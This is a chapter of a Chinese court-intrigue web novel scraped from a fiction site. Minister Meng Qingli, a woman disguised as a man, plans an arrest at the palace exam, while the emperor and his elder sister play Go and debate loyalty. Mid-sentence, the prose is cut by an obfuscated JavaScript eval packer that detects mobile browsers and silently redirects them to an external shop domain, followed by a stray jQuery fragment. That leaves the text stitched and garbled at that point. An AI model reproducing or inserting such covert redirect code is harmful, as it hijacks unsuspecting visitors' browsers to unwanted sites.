文趣网 > 其他小说 > 尚书大人太无情 > 18. 内外棋局两手准备
    孟清漓今日早早的便起身,任凭秋觉与芷兰两人将自己身上复杂的配饰全部更换为更加轻便的饰品,并在她的腰间多加了一把轻便的佩剑。

    芷兰一边侍奉孟清漓一层一层的穿衣,一边为她汇报着情况:“主子,昨日属下已将族谱送还回去。只不过属下刚走,孟盈那老匹夫便进了祠堂,属下差点就被他发现了。”

    孟清漓看似无意的听着,但却迅速抓住了芷兰话里的重点:“他进了祠堂?难道他还想求列祖列宗保佑他残害手足不成?真是可笑。”

    “属下也不知。”芷兰接着拿起另一件服侍孟清漓穿上,“他这种人,就算是跪在天道面前祈求,也不会得到什么好下场的。”

    “不必理他。”孟清漓亲自为自己戴上官帽,整理了一下身上的官服,“今日过后,一切就都结束了。”

    秋觉已经在外等候多时:“主子,宫里都安排好了,咱们该走了。”

    孟清漓点点头,问道:“方逊的人呢?”

    “方御史的人随后前来。”

    “好。”孟清漓最后看了一眼镜中的自己,看着这张相似的脸不自觉的喃喃道,“阿弟,你放心,害死你的人,哥哥姐姐绝对不会轻易放过他。”

    “礼部的官员此刻在什么地方?”路上孟清漓依旧还是谨慎的确认着礼部全员的情况。

    “这个时辰,怕是在正门查检开始预备着唱名了。”秋觉提前探查过礼部的动向,“曲侍郎人已到正门,不会出现什么差错的,请主子放心。”

    孟清漓闻言点了点头,将一个小荷包递给了秋觉:“你立刻过去,去北门,不出意外的话,那里有一场大戏今儿就要上演了。”

    秋觉接过了荷包,丝毫不敢耽误,立刻行礼下车,骑上马立即向北门飞奔过去。

    孟清漓很快便抵达宫门口,礼部众人她来得最晚,于是趁人不注意偷偷的地从侧门进去。

    皇帝今日所用的仪仗与礼乐均已预设完毕,仪制清吏司的官员已经开始搜检考生的随身物品,万幸还未唱名。

    孟清漓一个人突兀的走了进来,一时间也吸引了许多考生的目光。

    从官服的样式来看此人必定身居高位,但为何这个时辰才姗姗来迟,真的不怕掉脑袋吗?

    韩瓒听到考生里有一阵阵窃窃私语的声音,顺着他们探究的目光看过去,看到了一个今日本不应该出现在此的人。

    “我的老天!”韩瓒立刻招呼员外郎过来接手他此刻的工作,小跑到对方身边,“尚书大人,您怎么来了?”

    该死!曲征迁不是说他今天有事不来吗?这是怎么回事?

    “没事,忙你的去,我只是来看看。”孟清漓明显心不在焉的到处乱看,“对了,大概何时开始唱名?”

    “考生搜检才刚过一半,不过也快了,不超过半个时辰。”韩瓒眼尖看到了孟慧泽身上带着的佩剑,还是出言提醒道,“大人,那个......今日陛下亲临,所有官员不得佩剑。”

    孟清漓闻言收回审视周围的目光,继而落在韩瓒身上,轻轻吐出几个字:“继续忙你的事去吧。”

    “是是。”闻言韩瓒他也不再说什么了,这位的事情还真不是他能管的,同样他也不想招惹这位。

    孟清漓最后还是悄悄地找到了曲征迁,被人轻轻一拍倒是给曲征迁吓了一跳。

    “哎呦!大人?您也每个声音,真是吓死我了。”曲征迁回头看了一眼,接着又低头开始检查皇帝仪仗,片刻过后又像是想起了什么,回头问道,“不对啊!大人您怎么来了?”

    “来抓人。”孟清漓说着还拍了拍腰间的佩剑来证明自己并不是开玩笑。

    “您疯了?在这里抓人?”曲征迁即便是震惊还是强制克制自己发出声音的音量,“这里可是钦和殿!万一惊了陛下銮驾可怎么办!”

    “你放心,抓不到人,陛下今日便不会来。”孟清漓则是一副早有预料的模样,“孟令诚排在哪里?”

    “要抓他?”曲征迁也是少数知道此事内情的官员,只是却他没想到孟令诚一定要放在今天被抓,“我明白了,绝不会惊动其余的考生。”

    曲征迁往韩瓒那边看了一眼,想了想,给出了解决方案:“大人只管去,下官一定确保孟令诚进去的前后一定会隔出大人动手的时间。”

    “嗯。”孟清漓对曲征迁的反应很满意,“别太刻意,让他跑了咱们就是真的完了。”

    曲征迁面无表情的点了点头,不禁感叹道,“大人,您还真的是什么事情都敢干呐。”

    “低调一点。”孟清漓又拍了一下曲征迁的肩膀,随即便离开了此地。

    至于左右掖门那边,燕政弘分别留了两个暗卫在此协助孟清漓。

    至于皇帝本人,此刻正在宫里与燕冠音悠闲的下棋闲聊。

    “皇姐技艺高超,朕认输了。”在燕政弘三番四次的进攻后被逼到绝境,生气的将手中的黑子扔回棋盒里,自暴自弃道。

    燕冠音今日也是翻出了许久未穿的朝服,早早的来到御书房里和自己的弟弟下棋。

    面对着耍赖不想继续玩的燕政弘,燕冠音只好放下手上的棋子,哄着他道:“好端端的怎么就不玩了?输赢可还未定呢。”

    燕政弘端起下人奉上的茶水,抿了一口,抱怨道:“皇姐自己看看这局,白子步步紧逼,黑子都快没气了,胜负已定,也没必要继续下去了。”

    燕冠音反而柔和的看着燕政弘,仿佛这里不是御书房,而是他们姐弟曾经与母后一起住的凤鸣宫。

    “陛下是一国之君,在棋局上都没有耐心的话,又如何有耐心去治理整个国家呢?”燕冠音重新拿起一颗白子,轻轻落在了棋盘上。

    棋盘上的棋局随着燕冠音手上捏着的棋子落下,更加紧张起来。

    燕政弘无奈的盯着这盘棋,叹了口气:“皇姐,并非朕没有耐心,朕是不放心,孟氏虽跟在你身边多年,可这次毕竟是政事,处理不好怕是会损伤皇家威严......”

    “陛下。”燕冠音打断燕政弘的话,“用人不疑,疑人不用,孟清漓为官四年,她的能力亦是有目共睹的。”

    “可这是皇权争夺。”

    “可11年前陛下夺位之时,她便跟在臣身边了。经历了这么多,如今也才23岁,这已经不能用天资聪颖来形容她了。”

    燕冠音神情柔和,说出的话却异常的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568933|203757||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    沉稳:“陛下担心的怕不是孟清漓吧?陛下或许是在担心靖安侯府权势过大?”

    “皇姐很了解朕心中所想。”燕政弘干脆大大方方的承认了,“朕重用他们兄妹三人,个个身居高位,活人死人封了个遍,如今已经是赏无可赏,封无可封的境地。”

    燕冠音却没有正面回答燕政弘抛出来的看法,而是反问:“陛下若是有朝一日处理了孟氏兄妹,为保无后顾之忧,接下来是否要计划着处理臣这个可以调动兵马的长公主了?”

    燕冠音笑盈盈的看着燕政弘,将他展露出来的表情尽收眼底。

    “皇姐这么说,是在怪我这个做弟弟的疑心太重,非要赶尽杀绝了。”燕政弘可不愿意被人如此随意地扣上一顶的帽子。

    燕冠音早知道燕政弘一定会这么说,她嫣然一笑,继续说道:“你我都能想到的事情,那些朝中的重臣,老臣又怎会想不到?”

    “那三兄妹有两人是自小跟在你我身边的伴读。陛下继位,三人皆是从龙之功,若连他们落得个家破人亡的下场,朝堂上岂不人人自危?到那时,又有何人能够真的为陛下所用呢?”

    燕冠音在用事实打消掉燕政弘心中无谓的担心,“更何况,孟清漓是女扮男装,她没有别的选择,只能成为陛下的心腹,绝非心腹大患。另外两个,也会因着孟清漓的缘由对陛下忠心耿耿,如若不然,那便是知情不报,欺君大罪。”

    说着她拿起燕政弘面前的黑子,毫不犹豫的将黑子落在了棋盘上。

    一子落定,面前的棋局局势顿时扭转,黑子得到了片刻的喘息时间。

    燕政弘看着已经活过来的棋局,也有了兴致,重新拿起黑子在手上把玩。

    “前些日子,洛菱替臣传话,不知陛下可否找到了那个藏在宫里的细作?”燕冠音这些日子没有听到有关宫里的任何消息,心里隐隐有些担心。

    “皇姐不必多虑,那个吃里扒外的侍婢朕已经赐死了。”燕政弘低垂着眉眼,注意力显然还在棋盘上。

    “是嘛?”燕冠音已经听出了些许不对,“陛下一向宽仁待下,怎的这次生这么大的气?”

    燕政弘落下一子,随即解释道:“那个贱婢,私底下不仅偷偷帮着雍王做事,东窗事发之时,为了脱罪,竟敢胡乱攀扯到贵妃身上,真是该死。”

    “怎么会这样呢?”燕冠音继续追问缘由。

    “她在贵妃的宫里做事,贵妃自然是有失察之责,朕也已经惩罚过她了。”

    燕政弘的态度已经非常明显了,燕冠音自然也不会蠢的去触碰这个禁忌。

    “原来是这样,只要陛下无碍就好。”燕冠音脑子里一直在想着这件事情,手一抖,将白子落在了旁的地方。

    燕政弘自然不会放过这么好的机会,黑子乘胜追击,明显心不在焉的白子自然是节节败退。

    最后一子落下,胜负已分。

    “皇姐,胜负已分,朕赢了。”

    这下该轮到燕冠音将棋子扔了回去:“陛下赢了,恭贺陛下。”

    底下的人恰巧此时来报,孟尚书在殿外求见。

    “陛下,外面的棋局胜负已定,如此精彩,咱们也得去瞧瞧才是。”